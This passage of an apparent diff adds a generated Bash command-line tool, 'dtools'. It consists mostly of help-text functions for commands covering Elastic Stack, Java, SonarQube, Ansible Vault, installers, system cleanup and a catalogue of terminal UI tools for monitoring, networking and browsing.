australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_elastic_usage() { + printf "dtools elastic - Elastic Stack commands\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools elastic COMMAND\n" + printf " dtools elastic [COMMAND] --help | -h\n" + echo + # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" + printf " %s Initialize a local Elastic Stack (Elasticsearch + Kibana + Logstash)\n" "$(green "init") " + printf " %s Start a local Elastic Stack (Elasticsearch + Kibana + Logstash)\n" "$(green "start")" + printf " %s Stop a locally running Elastic Stack (Elasticsearch + Kibana + Logstash)\n" "$(green "stop") " + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_elastic_init_usage() { + printf "dtools elastic init - Initialize a local Elastic Stack (Elasticsearch + Kibana + Logstash)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools elastic init\n" + printf " dtools elastic init --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_elastic_start_usage() { + if [[ -n $long_usage ]]; then + printf "dtools elastic start\n\n" + printf " Start a local Elastic Stack (Elasticsearch + Kibana + Logstash)\n Default credentials:\n \n Username: elastic\n Password: changeme\n\n" + else + printf "dtools elastic start - Start a local Elastic Stack (Elasticsearch + Kibana + Logstash)\n\n" + fi + + printf "%s\n" "$(bold "Usage:")" + printf " dtools elastic start\n" + printf " dtools elastic start --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_elastic_stop_usage() { + printf "dtools elastic stop - Stop a locally running Elastic Stack (Elasticsearch + Kibana + Logstash)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools elastic stop\n" + printf " dtools elastic stop --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_java_usage() { + printf "dtools java - Java commands\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools java COMMAND\n" + printf " dtools java [COMMAND] --help | -h\n" + echo + # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" + printf " %s Sets the system-wide Java version\n" "$(green "set-version") " + printf " %s Perform static code analysis for the current directory's Java project with SonarQube\n" "$(green "analyze-with-sonar")" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_java_set_version_usage() { + printf "dtools java set-version - Sets the system-wide Java version\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools java set-version VERSION\n" + printf " dtools java set-version --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_args + printf "%s\n" "$(bold "Arguments:")" + + # :argument.usage + printf " %s\n" "$(blue "VERSION")" + printf " The Java version to use\n" + printf " %s\n" "Allowed: 8, 11, 17, 21" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " dtools java set-version 17\n" + echo + + fi +} + +# :command.usage +dtools_java_analyze_with_sonar_usage() { + printf "dtools java analyze-with-sonar - Perform static code analysis for the current directory's Java project with SonarQube\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools java analyze-with-sonar [OPTIONS]\n" + printf " dtools java analyze-with-sonar --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--sonar-url, -u SONAR_URL (required)")" + printf " The SonarQube server URL to use for analysis\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--sonar-login, -l SONAR_LOGIN (required)")" + printf " The SonarQube login token to use for analysis\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--sonar-project-key, -k SONAR_PROJECT_KEY (required)")" + printf " The SonarQube project key to use for analysis\n" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_ansible_usage() { + printf "dtools ansible - Ansible commands\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools ansible COMMAND\n" + printf " dtools ansible [COMMAND] --help | -h\n" + echo + # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" + printf " %s Encrypt the plaintext string given in the prompt, prompting the user for the vault password, with Ansible Vault\n" "$(green "encrypt-string") " + printf " %s Decrypt a variable encrypted with Ansible Vault\n" "$(green "decrypt-variable")" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_ansible_encrypt_string_usage() { + printf "dtools ansible encrypt-string - Encrypt the plaintext string given in the prompt, prompting the user for the vault password, with Ansible Vault\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools ansible encrypt-string [OPTIONS]\n" + printf " dtools ansible encrypt-string --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--copy-output-to-clipboard, -c")" + printf " Instead of outputting the encrypted secret to stdout, copy it to your\n clipboard\n" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " dtools ansible encrypt-string -c\n" + echo + + fi +} + +# :command.usage +dtools_ansible_decrypt_variable_usage() { + printf "dtools ansible decrypt-variable - Decrypt a variable encrypted with Ansible Vault\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools ansible decrypt-variable [OPTIONS]\n" + printf " dtools ansible decrypt-variable --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--variable, -v VARIABLE (required)")" + printf " The name of the variable you wish to decrypt\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--file, -f FILE (required)")" + printf " The inventory file/playbook file that the variable lives in\n" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " dtools ansible decrypt-variable -v some_variable -f\n inventories/local/group_vars/local.yml\n" + echo + + fi +} + +# :command.usage +dtools_install_usage() { + printf "dtools install - Install commands\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools install COMMAND\n" + printf " dtools install [COMMAND] --help | -h\n" + echo + # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" + printf " %s Install Docker (Debian-based systems only)\n" "$(green "docker") " + printf " %s Install Ansible\n" "$(green "ansible")" + printf " %s Install LTS OpenJDK's 8, 11, 17, and 21 (Debian-based systems only)\n" "$(green "java") " + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_install_docker_usage() { + printf "dtools install docker - Install Docker (Debian-based systems only)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools install docker\n" + printf " dtools install docker --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_install_ansible_usage() { + printf "dtools install ansible - Install Ansible\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools install ansible\n" + printf " dtools install ansible --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_install_java_usage() { + printf "dtools install java - Install LTS OpenJDK's 8, 11, 17, and 21 (Debian-based systems only)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools install java\n" + printf " dtools install java --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_clean_usage() { + printf "dtools clean - System cleaning commands\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools clean COMMAND\n" + printf " dtools clean [COMMAND] --help | -h\n" + echo + # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" + printf " %s Perform a system-wide upkeep cleanup with BleachBit\n" "$(green "bleachbit") " + printf " %s Clean docker images, containers, and volumes\n" "$(green "docker") " + printf " %s Clean package manager caches (Debian-based systems only)\n" "$(green "package-caches")" + printf " %s Clean up system logs by deleting old logs and clearing the journal\n" "$(green "logs") " + printf " %s Clean all build caches\n" "$(green "build-caches") " + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_clean_bleachbit_usage() { + if [[ -n $long_usage ]]; then + printf "dtools clean bleachbit\n\n" + printf " Perform a system-wide upkeep cleanup with BleachBit\n Note: This will clean Chrome, Opera, and Chromium caches and passwords\n\n" + else + printf "dtools clean bleachbit - Perform a system-wide upkeep cleanup with BleachBit\n\n" + fi + + printf "%s\n" "$(bold "Usage:")" + printf " dtools clean bleachbit\n" + printf " dtools clean bleachbit --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_clean_docker_usage() { + printf "dtools clean docker - Clean docker images, containers, and volumes\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools clean docker\n" + printf " dtools clean docker --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_clean_package_caches_usage() { + printf "dtools clean package-caches - Clean package manager caches (Debian-based systems only)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools clean package-caches\n" + printf " dtools clean package-caches --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_clean_logs_usage() { + printf "dtools clean logs - Clean up system logs by deleting old logs and clearing the journal\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools clean logs\n" + printf " dtools clean logs --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_clean_build_caches_usage() { + printf "dtools clean build-caches - Clean all build caches\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools clean build-caches CODE-DIRECTORY\n" + printf " dtools clean build-caches --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_args + printf "%s\n" "$(bold "Arguments:")" + + # :argument.usage + printf " %s\n" "$(blue "CODE-DIRECTORY")" + printf " The base directory for all of your code repositories to recursively clean\n build caches from\n" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " dtools clean build-caches ~/code\n" + echo + + fi +} + +# :command.usage +dtools_tui_usage() { + printf "dtools tui - TUIs (Documentation only)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui COMMAND\n" + printf " dtools tui [COMMAND] --help | -h\n" + echo + # :command.usage_commands + printf "%s\n" "$(bold "Monitoring TUIs Commands:")" + printf " %s TUIs for monitoring systems\n" "$(green "monitoring") " + echo + printf "%s\n" "$(bold "Network Monitoring TUIs Commands:")" + printf " %s TUIs for monitoring network activities\n" "$(green "network-monitoring")" + echo + printf "%s\n" "$(bold "Network TUIs Commands:")" + printf " %s TUIs for various network tools\n" "$(green "network") " + echo + printf "%s\n" "$(bold "Docker TUIs Commands:")" + printf " %s TUIs for Docker related tools\n" "$(green "docker") " + echo + printf "%s\n" "$(bold "Development TUIs Commands:")" + printf " %s TUIs for development related tools\n" "$(green "development") " + echo + printf "%s\n" "$(bold "Dev Help TUIs Commands:")" + printf " %s TUIs for helping devs get help or solve problems\n" "$(green "dev-help") " + echo + printf "%s\n" "$(bold "Data TUIs Commands:")" + printf " %s TUIs to query or analyze data\n" "$(green "data") " + echo + printf "%s\n" "$(bold "Miscellaneous TUIs Commands:")" + printf " %s TUIs for miscellaneous things\n" "$(green "misc") " + echo + printf "%s\n" "$(bold "Sandbox TUIs Commands:")" + printf " %s TUIs for sandboxing applications or experimentation\n" "$(green "sandbox") " + echo + printf "%s\n" "$(bold "AI TUIs Commands:")" + printf " %s TUIs for AI related tooling\n" "$(green "ai") " + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_monitoring_usage() { + printf "dtools tui monitoring - TUIs for monitoring systems\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui monitoring COMMAND\n" + printf " dtools tui monitoring [COMMAND] --help | -h\n" + echo + # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" + printf " %s Interactive process viewer (btop)\n" "$(green "system-monitor")" + printf " %s Monitor your PiHole server (pimon)\n" "$(green "pihole-monitor")" + printf " %s Linux kernel manager and activity monitor (kmon)\n" "$(green "kernel-monitor")" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_monitoring_system_monitor_usage() { + printf "dtools tui monitoring system-monitor - Interactive process viewer (btop)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui monitoring system-monitor\n" + printf " dtools tui monitoring system-monitor --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_monitoring_pihole_monitor_usage() { + printf "dtools tui monitoring pihole-monitor - Monitor your PiHole server (pimon)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui monitoring pihole-monitor\n" + printf " dtools tui monitoring pihole-monitor --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_monitoring_kernel_monitor_usage() { + printf "dtools tui monitoring kernel-monitor - Linux kernel manager and activity monitor (kmon)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui monitoring kernel-monitor\n" + printf " dtools tui monitoring kernel-monitor --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_network_monitoring_usage() { + printf "dtools tui network-monitoring - TUIs for monitoring network activities\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui network-monitoring COMMAND\n" + printf " dtools tui network-monitoring [COMMAND] --help | -h\n" + echo + # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" + printf " %s WiFi monitor to display stats about your current connection like signal strength (wavemon)\n" "$(green "wavemon") " + printf " %s Network diagnostic tool (trippy)\n" "$(green "network-diags")" + printf " %s Monitor IP traffic (iptraf)\n" "$(green "ip-traffic") " + printf " %s User-friendly and detailed socket statistics (neoss)\n" "$(green "socket-stats") " + printf " %s Terminal network scanner and diagnostic tool (netscanner)\n" "$(green "netscanner") " + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_network_monitoring_wavemon_usage() { + printf "dtools tui network-monitoring wavemon - WiFi monitor to display stats about your current connection like signal strength (wavemon)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui network-monitoring wavemon\n" + printf " dtools tui network-monitoring wavemon --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_network_monitoring_network_diags_usage() { + printf "dtools tui network-monitoring network-diags - Network diagnostic tool (trippy)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui network-monitoring network-diags\n" + printf " dtools tui network-monitoring network-diags --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_network_monitoring_ip_traffic_usage() { + printf "dtools tui network-monitoring ip-traffic - Monitor IP traffic (iptraf)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui network-monitoring ip-traffic\n" + printf " dtools tui network-monitoring ip-traffic --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_network_monitoring_socket_stats_usage() { + printf "dtools tui network-monitoring socket-stats - User-friendly and detailed socket statistics (neoss)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui network-monitoring socket-stats\n" + printf " dtools tui network-monitoring socket-stats --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_network_monitoring_netscanner_usage() { + printf "dtools tui network-monitoring netscanner - Terminal network scanner and diagnostic tool (netscanner)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui network-monitoring netscanner\n" + printf " dtools tui network-monitoring netscanner --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_network_usage() { + printf "dtools tui network - TUIs for various network tools\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui network COMMAND\n" + printf " dtools tui network [COMMAND] --help | -h\n" + echo + # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" + printf " %s TUI application for interacting with NetworkManager (nmtui)\n" "$(green "network-manager") " + printf " %s TUI-based bluetooth connection manager (bluetuith)\n" "$(green "bluetooth-manager") " + printf " %s TUI for managing WireGuard configuration files (wg-cmd)\n" "$(green "wireguard-config") " + printf " %s Interactive HTTP(S) proxy (mitmproxy)\n" "$(green "mitm-proxy") " + printf " %s A powerful and flexible proxy CLI for capturing and inspecting HTTP(S) and WS(S) traffic, with TUI and WebUI (proxyfor)\n" "$(green "proxy") " + printf " %s Proxymock watches your app run and automatically creates isolation tests and realistic service mocksโ€”no scripts, no stubs, no flaky envs. (proxymock)\n" "$(green "proxymock") " + printf " %s HTTP load generator and stress tester (oha)\n" "$(green "http-load-generator") " + printf " %s Ping but with a graph (gping)\n" "$(green "ping") " + printf " %s Text based browser with images (browsh)\n" "$(green "full-browser") " + printf " %s WWW text browser (elinks)\n" "$(green "elinks") " + printf " %s Another text browser that's an alternative to elinks (w3m)\n" "$(green "w3m") " + printf " %s Yet another text browser that's an alternative to elinks (lynx)\n" "$(green "lynx") " + printf " %s A Chromium-based in-terminal web browser (carbonyl)\n" "$(green "carbonyl") " + printf " %s HTTP Request client like Postman (wuzz)\n" "$(green "http-request-client") " + printf " %s HTTP request client like Postman or Insomnia (slumber)\n" "$(green "http-request-client-2")" + printf " %s A simple API client (Postman-like) (atac)\n" "$(green "api-client") " + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_network_network_manager_usage() { + printf "dtools tui network network-manager - TUI application for interacting with NetworkManager (nmtui)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui network network-manager\n" + printf " dtools tui network network-manager --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_network_bluetooth_manager_usage() { + printf "dtools tui network bluetooth-manager - TUI-based bluetooth connection manager (bluetuith)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui network bluetooth-manager\n" + printf " dtools tui network bluetooth-manager --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_network_wireguard_config_usage() { + printf "dtools tui network wireguard-config - TUI for managing WireGuard configuration files (wg-cmd)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui network wireguard-config\n" + printf " dtools tui network wireguard-config --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_network_mitm_proxy_usage() { + printf "dtools tui network mitm-proxy - Interactive HTTP(S) proxy (mitmproxy)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui network mitm-proxy\n" + printf " dtools tui network mitm-proxy --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_network_proxy_usage() { + printf "dtools tui network proxy - A powerful and flexible proxy CLI for capturing and inspecting HTTP(S) and WS(S) traffic, with TUI and WebUI (proxyfor)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui network proxy\n" + printf " dtools tui network proxy --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_network_proxymock_usage() { + printf "dtools tui network proxymock - Proxymock watches your app run and automatically creates isolation tests and realistic service mocksโ€”no scripts, no stubs, no flaky envs. (proxymock)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui network proxymock\n" + printf " dtools tui network proxymock --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_network_http_load_generator_usage() { + printf "dtools tui network http-load-generator - HTTP load generator and stress tester (oha)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui network http-load-generator\n" + printf " dtools tui network http-load-generator --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_network_ping_usage() { + printf "dtools tui network ping - Ping but with a graph (gping)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui network ping\n" + printf " dtools tui network ping --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_network_full_browser_usage() { + printf "dtools tui network full-browser - Text based browser with images (browsh)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui network full-browser\n" + printf " dtools tui network full-browser --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_network_elinks_usage() { + printf "dtools tui network elinks - WWW text browser (elinks)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui network elinks\n" + printf " dtools tui network elinks --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_network_w3m_usage() { + printf "dtools tui network w3m - Another text browser that's an alternative to elinks (w3m)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui network w3m\n" + printf " dtools tui network w3m --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_network_lynx_usage() { + printf "dtools tui network lynx - Yet another text browser that's an alternative to elinks (lynx)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui network lynx\n" + printf " dtools tui network lynx --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_network_carbonyl_usage() { + printf "dtools tui network carbonyl - A Chromium-based in-terminal web browser (carbonyl)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui network carbonyl\n" + printf " dtools tui network carbonyl --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf 